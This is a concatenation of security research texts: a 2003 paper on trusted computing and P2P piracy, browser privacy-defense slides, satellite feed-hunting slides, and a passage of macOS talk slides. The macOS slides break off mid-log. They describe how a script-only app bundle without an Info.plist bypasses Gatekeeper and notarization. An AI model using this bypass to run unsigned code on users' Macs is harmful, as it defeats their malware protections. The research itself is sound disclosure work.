Trusted Computing, Peer-To-Peer Distribution, and the Economics of Pirated Entertainment Stuart E. Schechter, Rachel A. Greenstadt, and Michael D. Smith Harvard University {stuart,greenie,smith}@eecs.harvard.edu May 16, 2003 Abstract The entertainment industry, facing a formidable threat from peer-to- peer piracy networks, is exploring every possible means to attack these networks. The industry is also employing defensive strategies to protect media and media players from those who would extract and copy their content. These content protection systems depend on the computer indus- try’s newly announced ‘trusted computing’ technologies. While ‘trusted computing’ technologies may better protect media and media players from content extraction by pirates, we assert that the very same technologies can be employed to better protect pirates and their peer-to-peer distribu- tion networks from the entertainment industry. 1 Introduction The viability of content piracy hinges on the resource costs of and risk from two required steps: extracting content from its protected form and then distributing copies of that content. History demonstrates that advances in technology often reduce these costs. The latest such advance comes in the form of extraction tools and peer-to-peer networks that automate both steps of the piracy process and put them in the hands of the average consumer. In response, the enter- tainment industry is looking to protect their content using ‘trusted computing’ technologies, which aims to place content extraction technology back outside the reach of the average consumer. We explore the implications of such technologies and argue that history, against the hopes of the entertainment industry, may continue to repeat itself. 1.1 A brief economic history of piracy The cost of pirated goods is a function of the costs of extracting content and distributing copies. We refer to the one-time extraction cost as e (sometimes 1 called the first-copy cost) and the per-copy distribution cost as d. The total per- copy cost of pirating n copies thus equals e n + d, where the cost of extraction is amortized over the number of copies. Using this simple formula as a guide, we briefly review the evolution of the economics of piracy and set a framework for understanding the reasoning behind the anti-piracy techniques used in the past and those being proposed today. Before the days of consumer-writable media, the cost of piracy was dom- inated by the per-copy distribution cost d. No effort was expended to make it costly to extract content from media. This one-sided approach makes sense when one considers the components of the distribution cost d: the resource costs related to purchasing and writing media and the legal liability costs associated with the distribution of pirated content in countries that enforce intellectual property laws. The direct effect of high resource costs is to limit the number of pirates. Because the average consumer could not afford to produce pirated media, the entertainment industry could easily afford to pursue legal action against those few with the financial resources for engaging in piracy. Such legal actions had the effect of increasing liability, which ultimately resulted in further increases in per-copy distribution costs. The advent of audiotape and videotape made recording technology and me- dia available at a reasonable cost, and the widespread acceptance of consumer VCRs created a demand for pirated video content.1 These technology changes dramatically reduced d, and the entertainment industry reacted by endeavoring to increase e. In particular, the industry introduced anti-piracy mechanisms into content- players and recorders in order to raise the cost of extraction high enough so that this cost could only be justified if amortized over a large number of copies. Con- sumer VCRs were built with technology that would refuse to record audio and video signals from sources of copyrighted content [8]. In parallel, the entertain- ment industry also employed patent protection and industry license agreements to force manufacturers to include anti-piracy mechanisms in their content play- ers. These legal barriers were meant to exclude from the content-player market any manufacturer not complying with the anti-piracy design requirements. In- creasing e made casual piracy prohibitively expensive, and the entertainment industry again kept piracy at bay by investigating and prosecuting only a small number of distributors. The development of digital content players and cheap digital media again dramatically changed the economics of piracy by driving the resource costs re- lated to purchasing and writing media to near zero.2 In addition, digital media eliminated the problem of copy degradation and further drove down the costs of distribution. At first, the entertainment industry reacted by delaying the 1Even though the proliferation of pirated content was limited by imperfections introduced as copies of copies were made on analog media, these consumer technologies reduced d to the point where the number of potential pirates could increase dramatically. 2At the time of this writing, storage costs were approximately 30 cents per gigabyte for removable media, such as DVDs/CDs, and $1 per gigabyte for fixed storage, such as hard disks. 2 introduction of high-density, writable digital media into the consumer market. However, once personal computers (PCs) advanced to the point where com- pressed audio and video was easy to play and distribute across the Internet, it no longer made economic sense to block the sale of high-density, writable drives to consumers. Writable CD-ROM drives are now standard equipment on PCs, and drives that also write to DVD will soon take their place. A primary goal of the DVD format was to protect digital video from piracy. As with VCRs, legal barriers and economic incentives were put in place to ensure that manufacturers could only produce a DVD reader if it included anti- piracy mechanisms to thwart content extraction and reverse engineering [2, page 431]. Once again, the industry’s legal efforts would then focus on a smaller set of larger pirate distributors. For these reasons the industry has fiercely pro- tected the DVD format, filing suit under the new Digital Millennium Copyright Act (DMCA) to keep video content extraction tools out of the hands of con- sumers [11, 12]. The entertainment industry has also tried, rather unsuccessfully, to retrofit the CD format with similar content-extraction protections [4]. Napster was the first system to integrate the end user into the distribution process. The reduction in the per-copy cost of pirated content was so significant that the market for pirated music and video content exploded. The market growth was aided by an image of legitimacy resulting from extensive press cov- erage and professional looking software. Having failed to protect content on CDs, the recording industry attacked the distribution channel, suing Napster as it would any other large distributor of pirated content. Though Napster’s centralized infrastructure failed to survive legal attack, newer systems such as Gnutella and Kazaa evolved to use distributed infrastructures more resilient to legal action against individual components. While the Recording Industry As- sociation of America (RIAA) is working to bring makers of piracy applications into US jurisdiction [5] and break the corporate veil [19], these piracy networks are designed to live on long after the demise of their creators. Without an effective way to raise extraction costs or eliminate the current peer-to-peer distribution channels using legal attacks, the entertainment indus- try has undertaken a two-pronged effort to raise the per-copy distribution cost seen by individual consumers. On the legal front, the industry is using high pro- file litigation against a few individuals, in hopes of raising in all consumers the perceived liability of using these networks [18]. It is a strategy that appears to be having an effect [14]. The industry is also learning to use a technical approach to raising distribution costs. In particular, it is attacking the confidentiality, integrity, and availability of peer-to-peer distribution networks. 1.2 Enter ‘trusted computing’ While attacking channels for distributing pirated content has not been without benefit, it also has costs and limitations. Thus, the entertainment industry continues to explore new ways of protecting the content stored on media and played by software. In particular, ‘trusted computing’ technologies promise to enable media players within a PC to execute with the same level of resistance 3 to piracy that one would expect from a proprietary hardware player, such as those used to play DVDs. If these technologies succeed, extracting content from the media of the future will be significantly more difficult than ripping a CD is today. Part of the success of the entertainment industry’s anti-piracy effort relies on its ability to make content extraction inconvenient enough to deter the general public. To be successful, the industry must also deter those individuals and de- feat those systems that distribute pirated content. In short, the industry would like to return to the days when investigation and legal actions were sufficient to counter a reasonably sized set of professional pirates. 1.3 Roadmap The per-copy cost of piracy, e n + d, is at the heart of the ongoing battle be- tween the entertainment industry and content pirates. In Section 2 we explain how ‘trusted computing’ technologies will be used to protect media players from content-extraction attacks, increasing the pirate’s cost of extraction, e. We de- scribe attacks that may be employed against peer-to-peer distribution of pirated content in Section 3. If successful, these attacks will increase the pirate’s dis- tribution costs, d, and reduce the number of copies, n, that the network is able to distribute. In Section 4, we explore a how the ‘trusted computing’ technolo- gies described in Section 2 can be used by pirates to secure their peer-to-peer networks against the attacks of Section 3. 2 Protecting Content To protect their content, owners will encrypt it before writing it to media or otherwise transmitting it to media players. Media players will be required to provide a minimum level of resistance to content-extraction attacks before content-owners will entrust them with the decryption keys. Because the PC platform was not designed to resist such attacks, media players running on to- day’s PCs cannot make such guarantees. Not surprisingly, the leading forces in the PC market formed the Trusted Computing Platform Alliance (TCPA), now succeeded by the Trusted Computing Group (TCG), to introduce technologies that will enable PCs and their applications to obtain the trust of the enter- tainment industry. Microsoft has also introduced similar technologies as part of its next-generation secure computing base for Windows, formerly known as Palladium. These efforts introduce into commodity computing hardware a private key of a public key pair, as described in Arbaugh, Farber, and Smith’s early work on secure boot processes [3]. After placing the private key into the hardware, the manufacturer creates a signed certificate vouching that the hardware into which the key was placed exhibits certain properties, such as tamper-resistance, and that only this hardware was given the public key. The hardware may make claims, or attest to statements, to a remote entity by signing these claims with 4 it’s private key. Trust in the claims certified by this remote attestation [1] process is only as strong as the trust in the entities that has signed off on the claims. Once claims regarding the identity and anti-piracy properties of the hardware and BIOS have been established, the BIOS may then attest to the identity of the code it will next execute, the operating system. In a final transitive step, an operating system trusted by the remote entity may then attest to the identity and integrity of the application it is running. In order to reduce the number of digital signatures required, hardware registers may be used to collapse these steps into a single claim by the hardware. Alternative approaches place full responsibility for protecting clients in the hardware, removing the need for attestation of the operating system [17]. If each link in the chain is trustworthy then a remote entity may rely upon a client application to behave with the trust properties, such as resistance to content-extraction, for which the application has been certified. Because oper- ating systems rely upon hardware for their correct operation, and applications rely upon operating systems for their correct operation, each attestation step builds on the prior trust layers. If any layer turns out not to be trustworthy, it may subvert all the layers above it. Once a trust infrastructure is in place, the entertainment industry may pro- tect its content by encrypting it and only transmitting the keys to those plat- forms built from components (hardware, operating system, and applications) that it trusts. In order to ensure the confidentiality of the keys that protect content and the unencrypted content itself, additional operating services are re- quired to protect them while applications use them. Specifically, the operating system must protect the applications’s memory and, if keys are to be stored locally, its file storage. Operating system services will also be required to pro- tect the content on its way to the screen or audio card, lest content be stolen in a digital format on its way to the user. Microsoft’s next-generation secure computing base for Windows provides each of these services under the names curtained memory, secure storage, and secure input and output. However, if humans are to eventually hear the protected audio signals and view the protected video signals, then this protected content can also be recorded. Since video cameras and music recorders can record and store any information perceivable to human eyes and ears, secure output paths all the way from com- puter to user are therefore impossible. A motivated attacker, who purchases the highest quality viewing or listening equipment and pairs it with equipment that can record the experience, will be able to produce a copy that is good enough to please a vast number of consumers. These limitations are acceptable if the goal is only to increase the cost of extraction enough to deter consumers, not professional pirates, from making copies. 3 Attacking Peer-to-Peer Distribution Because no level of media protection can raise the cost of extraction beyond the cost of recording the signal presented to the user, a successful anti-piracy 5 effort must also work to maintain a high cost of distributing pirated content. In particular, the entertainment industry must determine how it can deter peer- to-peer distribution of its pirated content. We explore attacks on peer-to-peer networks and the countermeasures used to defeat them. We consider these attacks with regard to the security assets they target: confidentiality, integrity, and availability. 3.1 Confidentiality Breaches of confidentiality both increase the expected liability cost of distribut- ing content and reveal information that can be used to write programs that attack the system’s integrity and availability. If caught, both senders and receivers of pirated content may face lawsuits or other forms of retaliatory action. Using today’s peer-to-peer networks is particularly risky because anyone eavesdropping between the sender and the receiver may observe pirated content in transit. Even if content was transmitted in encrypted form, the eavesdropper could use traffic analysis to determine the network addresses of the sender and the receiver and the size of the files being transferred. These attackers use confidentiality attacks to interrupt file transfers [6], locate pirates in order to send them cease and desist messages [13], and gather evidence for litigation. The first step in protecting the confidentiality of the network is to encrypt the data sent over it so that only the sender and receiver know what was sent. However, there is nothing encryption can do to ensure that the party at the other end of the line, who knows what was transmitted, is not the attacker. For this reason systems that provide anonymity, or at least plausible deniability, are desirable. In such systems, the attacker may know that copyrighted content was transmitted through the network but cannot identify the original sender or final recipient. A common approach to anonymous networking is to re-route communica- tions through more nodes than can be tracked effectively [20, 21]. Attackers may watch the communication as it travels through the network or run routers that expose routing information, but these threats may be mitigated so long as a reasonable fraction of the routers act to keep routing information confidential. At present, there is no way to determine which clients will route traffic through the network with the intent of protecting anonymity. Attacking the network is not the only way to breach the confidentiality of the peer-to-peer system. By running the peer-to-peer client software and thus controlling a peer, an attacker may look into the peer-to-peer network through the “eyes” of its client software. Client software has no secrets because operating systems make every byte of a program’s memory available to the machine’s ad- ministrator, or root account. The attacker can locate encryption keys, network topology information, or any of the other information required to participate in the peer-to-peer network. Once confidentiality has been breached, the attacker may use the information to write programs to impersonate a genuine peer-to- peer client and attack the network from within. Such programs are invaluable 6 to the attacker as they enable scalable attacks on integrity and availability. 3.2 Integrity The integrity of information in a peer-to-peer system may be attacked through the introduction of degraded-quality content or by misrepresenting the identity of the content. In the context of music, these attacks have included introducing noisy recordings or falsely labelling songs. Attacks on the integrity of informa- tion describing the operation of the peer-to-peer network, such as the network’s topology and routing information, may disrupt communication or even prevent users from ever accessing the network again. If clients are disconnected from the network, or if content may be misrepresented or its quality decreased, then the user’s cost of obtaining pirated content (part of the distribution cost) will increase. Reputation systems counter corrupt content attacks by enabling users to rate the validity of content and those who provide it. To ensure that all copies of the same content share the same reputation, content may be identified by its fingerprint (or hash). This enables reputations to scale far beyond trust in the user and allows widely duplicated corrupt files to be recalled quickly. To ensure that an attacker cannot modify or delete its client’s reputation information, designers must distribute this information among the other clients using protocols that prevent tampering. Because attackers can delete clients and reinstall new ones, a reputation system should also maintain information for the machines on which clients run. Confounding this problem are virtual machines, in which the few potential unique machine identifiers (e.g. network card addresses) may be modified easily. While we may construct reputation systems to be resilient to a large number of malicious users, no existing system is immune to attack from an unlimited number of such users [7, 16]. If the attacker can write programs that impersonate genuine clients, there is no limit to the number of malicious peers that can be introduced into the system. 3.3 Availability More resources are expended performing searches on peer-to-peer networks than are required to request that a search be performed. Attackers may use their client application to issue a large number of search requests, flooding the network with more requests than can be serviced. Alternatively, the attacker may force their client application to drop packets it was meant to route by manipulating the operating system or by simply disconnecting network cables at the right times. Peers can stem the flood of requests by requiring that requests be accompa- nied by proof that the requestor had performed computational work, restoring the balance between the computation costs of issuing and responding to re- quests. This approach was introduced by Dwork and Naor [10] to increase the low cost of sending email and make sending spam unprofitable. This concept 7 has been extended to more general settings, such as preventing network level denial of service attacks for TCP [15] and TLS [9]. Requiring clients to solve puzzles before issuing requests could go a long way to prevent flooding attacks on peer-to-peer networks. However, the entertainment industry might be able to harness enough processing power to flood networks if its members can exploit the media players they controls to perform puzzle computations on machines paid for by their users. An alternative to client puzzles is to use the reputation systems mentioned above to track individual machine’s utilization of networks resources. The effi- cacy of this approach is limited if the attacker can corrupt the reputation system using programs that impersonate genuine clients, or even if a large number of genuine clients can be run on virtual machines and fed scripted input. The payoff to the entertainment industry of scaling such attacks comes in the form of increased barriers between users and pirated content, which in turn increases the per-copy cost of distribution. 4 Defending Peer-to-Peer Distribution At the time of this writing, Sharman Networks, the makers of Kazaa, claims that well over 200 million copies of its client application had been downloaded. Because these networks contain vast resources, attacks will only be affordable if the cost of attack is many times smaller than the damages inflicted on the distribution network. The existing countermeasures described in Section 3 are sufficient to defend peer-to-peer networks against attacks from individual users running authentic clients on real machines. Attackers still have a leg up in that they may peer into clients running on their own machines, use this information to write programs that impersonate real clients, and run as many copies of these clients as they need to disrupt the network. Alternatively, they may script attack behaviors and feed those behaviors into a large number of authentic clients running in parallel on virtual machines. Can peer-to-peer networks be made immune from malicious client software written by the attacker? They can if the personal computer industry delivers on its promise of remote attestation. Though this technology was envisioned to thwart pirates, it is exactly what a peer-to-peer system needs to ensure that no client application can enter the network unless that application, and the hardware (not a virtual machine) and operating system it is running on, has been certified by an authority trusted by the existing clients. The trust model may be quite simple: accept only new clients into the network if they are certified by the same authority that vouched for the existing clients. What’s more, if Microsoft delivers on the promises of its next-generation secure computing base for Windows, then clients can also be assured of secure storage and curtained memory. With these technologies, peer-to-peer systems can protect the confidentiality and integrity of the clients’ memories, which are collectively the memory of the entire network. 8 5 Conclusion To thwart piracy the entertainment industry must keep distribution costs high, reduce the size of distribution networks, and (if possible) raise the cost of ex- tracting content. However, if ‘trusted computing’ mechanisms deliver on their promises, large peer-to-peer distribution networks will be more robust against attack and trading in pirated entertainment will become safer, more reliable, and thus cheaper. Since it will always be possible for some individuals to ex- tract content from the media on which it is stored, future entertainment may be more vulnerable to piracy than before the introduction of ‘trusted computing’ technologies. 6 Acknowledgments This paper could not have been completed without the advice, comments, and suggestions of Ross Anderson, Kim Hazelwood Cettei, Roger Dingledine, Glenn Holloway, David Molnar, Michael Rabin, and the anonymous reviewers. This research was supported in part by grants from Compaq, HP, IBM, Intel, and Microsoft. References [1] The Trusted Computing Platform Alliance. Building a foundation of trust in the PC. Technical report, January 2000. [2] Ross J. Anderson. Security Engineering: A Guide to Building Dependable Distributed Systems. John Wiley & Sons, Inc., first edition, 2001. [3] William A. Arbaugh, David J. Farber, and Jonathan M. Smith. A secure and reliable bootstrap architecture. In Proceedings of the IEEE Symposium on Security and Privacy, May 4–7, 1997. [4] John Borland. Customers put kibosh on anti-copy CD. CNET News.Com, November 19, 2002. [5] John Borland. U.S. liability looms over Kazaa. CNET News.Com, Novem- ber 25, 2002. [6] John Borland. Fingerprinting P2P pirates. CNET News.Com, February 20, 2003. [7] Fabrizio Cornelli, Ernesto Damiani, Sabrina De Capitani di Vimercati, Ste- fano Paraboschi, and Pierangela Samarati. Choosing reputable servents in a P2P network. In Proceedings of The Eleventh International World Wide Web Conference, May 7–11, 2002. [8] Macrovision Corporation. Solutions > video technology > copy protection. http://www.macrovision.com/solutions/video/copyprotect/index.php3. 9 [9] Drew Dean and Adam Stubblefield. Using client puzzles to protect TLS. In Proceedings of the 10th USENIX Security Symposium, August 15–17, 2001. [10] Cynthia Dwork and Moni Naor. Pricing via processing or combatting junk mail. In Proceedings of Advances in Cryptology - CRYPTO ’92, 12th An- nual International Cryptology Conference, volume 740 of Lecture Notes in Computer Science. Springer, August 16–20, 1992. [11] Evan Hansen. Ban on DVD-cracking code upheld. CNET News.Com, November 28, 2001. [12] Amy Harmon. Judges weigh copyright suit on unlocking DVD shield. The New York Times, May 2, 2001. [13] Amy Harmon. Music swappers get a message on PC screens: Stop it now. The New York Times, April 30, 2003. [14] Amy Harmon. Record concerns sue to end piracy. The New York Times, April 23, 2003. [15] Ari Juels and John Brainard. Client puzzles: A cryptographic counter- measure against connection depletion attacks. In Proceedings of the 1999 Network and Distributed System Security Symposium, February 4–5, 1999. [16] Sepandar D. Kamvar, Mario T. Schlosser, and Hector Garcia-Molina. The EigenTrust algorithm for reputation management in P2P networks. In Proceedings of The Twelfth International World Wide Web Conference, May 20–24, 2003. [17] David Lie, Chandramohan A. Thekkath, Mark Mitchell, Patrick Lincoln, Dan Boneh, John C. Mitchell, and Mark Horowitz. Architectural support for copy and tamper resistant software. In ASPLOS-IX Proceedings of the 9th International Conference on Architectural Support for Programming Languages and Operating Systems, pages 168–177, November 12–15, 2000. [18] Declan McCullagh. File-swapping foes exert P2P pressure. CNET News.Com, August 13, 2002. [19] Stefanie Olsen. Record labels sue Napster investor. CNET News.Com, April 22, 2002. [20] Michael K. Reiter and Aviel D. Rubin. Crowds: anonymity for Web trans- actions. ACM Transactions on Information and System Security, 1(1):66– 92, 1998. [21] Paul F. Syverson, David M. Goldschlag, and Michael G. Reed. Anonymous connections and onion routing. In Proceedings of the IEEE Symposium on Security and Privacy, pages 44–54, May 4–7, 1997. 10
pdf
Browser Based Defenses - (c) 2010 All Rights Reserved 1 Browser Based Defenses Introducing x06d james@bluenotch.com Browser Based Defenses - (c) 2010 All Rights Reserved 2 The Problem: Re-Anonymizing You! • Overall State of the Web – Client/Browser issues • Hard to make public browsers secure • …at least enough to keep the public safe – Server landscape • Many layers to secure • Portions of a served app tend to be clients of another site (see above) • Well put by RSnake and Jabra’s in “De-Anonymizing You!” (DEF CON 17) • x06p is POC for a Browser Based Defense • Goal : buy time for 6 days of pseudo protection Browser Based Defenses - (c) 2010 All Rights Reserved 3 Defending Technique: SARS! • Sanitize input to the Browser – Detect interesting code into the browser – Allow control of server content (ala noscript for <script>) • Anonymize the Browser – Make yourself look like everybody else – Make yourself look like a specific somebody • Randomize the Behavior – Create a generic history – Generate line noise • Sanitize output to the Server – Detect interesting code sent by the browser (ie. XSS) – Neuter interesting code (convert the code) Browser Based Defenses - (c) 2010 All Rights Reserved 4 Defeating Attacks on Input • Sanitize input to the Browser – Scan the HTTP Response for evil – Plug-ins like noscript already do this • Whitelisting is hard – Site content changes – Who is qualified to OK content? – Dare we vote on each <script> tag? • A public blacklist will help • Might as well live with signature detection shim Browser Based Defenses - (c) 2010 All Rights Reserved 5 Browser Tracking • panopticlick.eff.org – Some code borrowed from browserspy.dk and breadcrumbs – Headers – History – Fonts – Plug-ins Browser Based Defenses - (c) 2010 All Rights Reserved 6 Defeating Header Detection • Generalize every Request Headers except for the URL and HOST • Randomize parameters to increase noise – Change order of GET/POST parameters – Add benign parameters • Cookie Automation for privacy – Clear on browser open – Rewrite the cookie when stored, put back before use – Clear on browser close Browser Based Defenses - (c) 2010 All Rights Reserved 7 Browser Tracking Defenses • Easiest: be just like everybody else • Possible: be like somebody you want to frame • SARS everything in your browser – Fake it dynamically – Set it up before browsing Browser Based Defenses - (c) 2010 All Rights Reserved 8 Defeating Font Detection • Install/remove system fonts until you match everyone else – Easier in a VM with no third party apps – Time/Bandwidth/Storage costs • Install the same fonts as one specific user – Make a browser snapshot – Share or trade them? Browser Based Defenses - (c) 2010 All Rights Reserved 9 Defeating History Enumeration • Go everywhere, at least Alexia top 500 – Automate and forget – Instead of clear, edit history to top 500 • HEAD of FAVICON not good enough – HEAD of everything on /index.* likely ok – Re-crawl the history in the background slowly helps to hide new patterns – Comb history removing non-popular sites when not it use Browser Based Defenses - (c) 2010 All Rights Reserved 10 Defeating Font and Plug-in Detection • Similar to history, but no base-line – Figure out a “normal” configuration, and groom the browser to stay that way – Stash non-standard fonts while browsing, replacing when done • Problematic for multitasking • Possible to get stuck if a page installs one • Plug-ins are hard because of browser versions Browser Based Defenses - (c) 2010 All Rights Reserved 11 New Problems with Plug-ins • What if the farmville plug-in is popular – Facebook users should not dictate “normal” – Can we hook the browser, hiding plug-ins? – Can we create a benign trojan plug-in to use? Browser Based Defenses - (c) 2010 All Rights Reserved 12 Defeating Attacks on Output • XSS Browser Helper Objects exist already – Trap the Request sent by the browser – Scan for HTML action tags • <script>, <iframe>, <form>, etc. • Problematic for CMS where you want this • Tough to normalize reliably • Supplement with shenanigan detection – Compare the output with other browsers – Frequent false positives – Use a rating ala SpamAssassin’s Browser Based Defenses - (c) 2010 All Rights Reserved 13 Font Defense Details • Detecting fonts is easy with Flash or Java – TextField.getFontList(); – java.awt.GraphicsEnvironment.getAllFonts(); • Requires more work in Javascript – Create two <div font=X> with content – Measure pixel distance difference Browser Based Defenses - (c) 2010 All Rights Reserved 14 Plug-in Defense Details • Tough to automate • Includes page with top plug-in/add-ons • Install and update manually • Mozilla / Firefox 3: top 100 • Internet Explorer 8: top 100 • Safari: 48 • Opera: 26 Browser Based Defenses - (c) 2010 All Rights Reserved 15 Payload Defenses • Scanning payloads can be neutralized • File enumeration – BHO can hook on res:// sort of – Toughest thing to defend against presently • Host scanning – smb:// alias all private IPs to 127.0.0.1 – fiddler2 allows URL tampering separate from HOST • Port scanning – XMLHTTPRequest foiled by aliases to google.com – Theoretical chance of leaking control • Jikto: defending above solves this, too Browser Based Defenses - (c) 2010 All Rights Reserved 16 Changing Fonts • Windows keeps them in %windir%\fonts • Requires a shell object to install or remove • Removing requires removal of Registry key Browser Based Defenses - (c) 2010 All Rights Reserved 17 Defense Tools • Security toolbar or BHO • Interception proxy and scripts • x06d suite – sourceforge.net/project/x06d – JavaScript functions and BHO/Addon – Repository of client signatures – Performs POC for everything discussed so far Browser Based Defenses - (c) 2010 All Rights Reserved 18 Future Defenses • Scan non-text/html with clamav – Defeats bait and switch – Defeats simple trojan / phishing • Duplicate with alternative browser – Diff the Response results, should be the same – Highlight in-line or sidebar • Defang the page and scan again – Use the DOM: document.copy(TEMPFILE); – Redirect to TEMPFILE – Repeat until TEMPFILE does not change – Final Scan Browser Based Defenses - (c) 2010 All Rights Reserved 19 Demos • Phishing click-through • Re-Anonymize, validate with panopticlick • XSS click-through Browser Based Defenses - (c) 2010 All Rights Reserved 20 Summary • Browser defenses just getting reliable • Tough to be thorough, but we should try • Raising the noise level: herd defenses • Framing another user: easier/better? • Questions?
pdf
Satellite's Gone... Works in progress Major Malfunction aka Adam Laurie adam@algroup.co.uk http://rfidiot.org Who Am I? ● Co­Publisher APACHE­SSL ●  DEFCON 'goon' ● Open Source developer / researcher – Bluetooth – RFID – Full Disclosure / White Hat! ● Freelance research / training / lecturing Feed Hunting ● Look for 'interesting' satellite feeds – Scan all frequencies – Scan all satellites – Report on mailing lists / forums Poking in the dark Poking in the dark Poking in the dark Poking in the dark There must be a better way! ● Visualisation is your friend – Human Brain likes images ● Recognise food ● Recognise danger ● Recognise friends There must be a better way! ● Visualisation is your friend – Human Brain likes images ● Recognise food ● Recognise danger ● Recognise friends ● Watch pr0n!! Visual Representations Visual Representations Visual Representations Time travel – day 1 Time travel – day 2 That was then... ● Proprietary control systems – Undocumented ● Reluctant manufacturers – Special hardware / interface converters ● Motor Control ● Signal Status ● to RS232 This is now... ● Open standards – DVB Cards – Embedded Linux Receivers ● Dreambox – Tuxbox based – GPL source code – Cross compilers This is now... ● Web Interface – Select programming – Steer dish – Examine feed properties Web Interface Stream Info Stream Info Stream Info ● dvbsnoop ­ DVB and MPEG stream analyzer – “WireShark for DVB” – Access to raw data from DVB card – Decode known PIDs  http://dvbsnoop.sourceforge.net Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Stream Info Taking over the Dreambox ● Avoid programming – Analyse config files – Tools to tweak and update – Use existing Web Interface URLS – Use remote tools via IP ● ssh / scp ● dvbsnoop ● tun/tap Taking over the Dreambox Taking over the Dreambox dreaMMap ● python (yay!) script – Grab URL – Read status from returned webpage – Create 3D model This is now... This is now... 3D model capabilities ● Point & Click – Steer to sat/freq – Decode DVB/Audio within model – Read Text / EPG – Pipe datagrams to Wireshark Demonstration Questions? http://rfidiot.org adam@algroup.co.uk
pdf
Bundles of Joy breaking macOS via subverted application bundles @patrickwardle WHOIS @patrickwardle tools, blog, & malware collection "Objective by the Sea" (macOS security conference) Book(s): "The Art of Mac Malware" In the wild? OUTLINE Background Protection & detection The flaw Patch Topics covered: os internals, reversing, malware analysis, & security tool development. Background how apple seeks to protect macOS users MAC INFECTION VECTORS …the vast majority, require user "assistance" fake updates poisoned search results & infected sites infected :/ pirated (trojaned) applications THE GROWTH OF MAC MALWARE …and apple’s multi-layer defense more Mac Malware (credit: MalwareBytes) more than Windows !? anti-infection mechanisms (applied to downloaded items) Notarization Gatekeeper File quarantine aim to protect the user from infecting themselves QUARANTINE ATTRIBUTE added to all (ok, most) downloaded items A quarantine attribute is added to downloaded items. When launched, it signifies the item should be subjected to various anti-infection checks. % xattr ~/Downloads/malware.app com.apple.quarantine % xattr -p com.apple.quarantine ~/Downloads/malware.app 0081;606ec805;Chrome;BCCEDD88-5E0C-4F6A-95B7-DBC0D2D645EC Triggers checks: q attr: com.apple.quarantine xattr shows (quarantine) attributes • gatekeeper • notarizations • file quarantine FILE QUARANTINE (2007) user confirmation when launching an application file quarantine prompt (note: "is an app") When a user opens a downloaded item, file quarantine displays a prompt that requires explicit user confirmation before allowing the file to execute. a presentation ...or is it malware? (it's OSX.WindTail) Shortcoming: Open GATEKEEPER (2012) block unsigned applications Built atop File Quarantine, Gatekeeper checks the code signing information of downloaded items and blocks those that do not adhere to system policies. Shortcoming: signed malware not mozilla! NOTARIZATION (2019) block non-verified applications malware? clean not notarized? blocked! "Ruined our whole op[eration]" The Flaw ...and root cause analysis A BUG!?! discovered by cedric owens (@cedowens) "Wanted to get your thoughts... I am masquerading shell script malware as an.app I put it online. Then I download & dbl click the fake .app - the shell script launches. No prompts at all from the OS" (at the time) fully patched Big Sur TRIAGE OF THE POC (correctly) quarantined, but unsigned and allowed!? $ xattr ~/Downloads/PoC.app ... com.apple.quarantine $ xattr -p com.apple.quarantine ~/Downloads/PoC.app 0081;606fefb9;Chrome;688DEB5F-E0DF-4681-B747-1EC74C61E8B6 Item type: application unsigned (thus not notarized) An unsigned app, can bypass file quarantine, gatekeeper, and notarizations requirements !?!? q attr is set! SO WHAT'S GOING ON taking a closer look at PoC.app % find PoC.app PoC.app/Contents PoC.app/Contents/MacOS PoC.app/Contents/MacOS/PoC % file PoC.app/Contents/MacOS/PoC PoC.app/Contents/MacOS/PoC: POSIX shell script text executable, ASCII text An application: executable, is a script no Info.plist file (metadata file, describing the app) The "Appify" developer script on GitHub, will create such a bare-bones script-based application. ...that unintentionally, would trigger this vulnerability! always present in 'normal' apps BEHIND THE SCENES what goes on when you launch an app? Behind the scenes ("Gatekeeper Exposed; Come, See, Conquer") When a user launches an app, no less than half a dozen user- mode applications, system daemons and the kernel are involved! } TO THE LOGS comparing the output of various apps vs. our PoC Standard app (w/ Info.plist) Script-based app (w/ Info.plist) Bare-boned script- based app (no Info.plist) Let's launch various downloaded unsigned apps and our PoC and see what shows up in the system logs. TO THE LOGS first, enable 'private' data logging <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...> <plist version="1.0"> <dict> <key>PayloadContent</key> <array> <dict> <key>PayloadDisplayName</key> <string>ManagedClient logging</string> <key>PayloadEnabled</key> <true/> <key>PayloadIdentifier</key> <string>com.apple.logging.ManagedClient.1</string> <key>PayloadType</key> <string>com.apple.system.logging</string> <key>PayloadUUID</key> <string>ED5DE307-A5FC-434F-AD88-187677F02222</string> <key>PayloadVersion</key> <integer>1</integer> <key>System</key> <dict> <key>Enable-Private-Data</key> <true/> </dict> </dict> </array> … "Unified Logs: How to Enable Private Data" (www.cmdsec.com) Private Data Logging (installed profile) STANDARD APP mach-o binary + Info.plist file % log stream --level debug ... syspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: /Volumes/MachOView 1/MachOView.app/Contents/ MacOS/MachOView <-- (/sbin/launchd, /Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView) syspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: (null)) syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization syspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service for hash ... syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0 syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: (null)), 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because responsibility: /Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView, /Volumes/MachOView 1/MachOView.app syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: /Volumes/MachOView 1/ MachOView.app), (team: (null)), (id: (null)), (bundle_id: MachOView), 1, 0, 1, 0, 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1 syspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for response: PST: (path: /Volumes/ MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: MachOView) syspolicyd: responsible for allowing/deny applications scan results log output STANDARD SCRIPT-BASED APP (bash) script + Info.plist file % log stream --level debug ... syspolicyd [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/Script.app/Contents/MacOS/ Script, /bin/sh syspolicyd 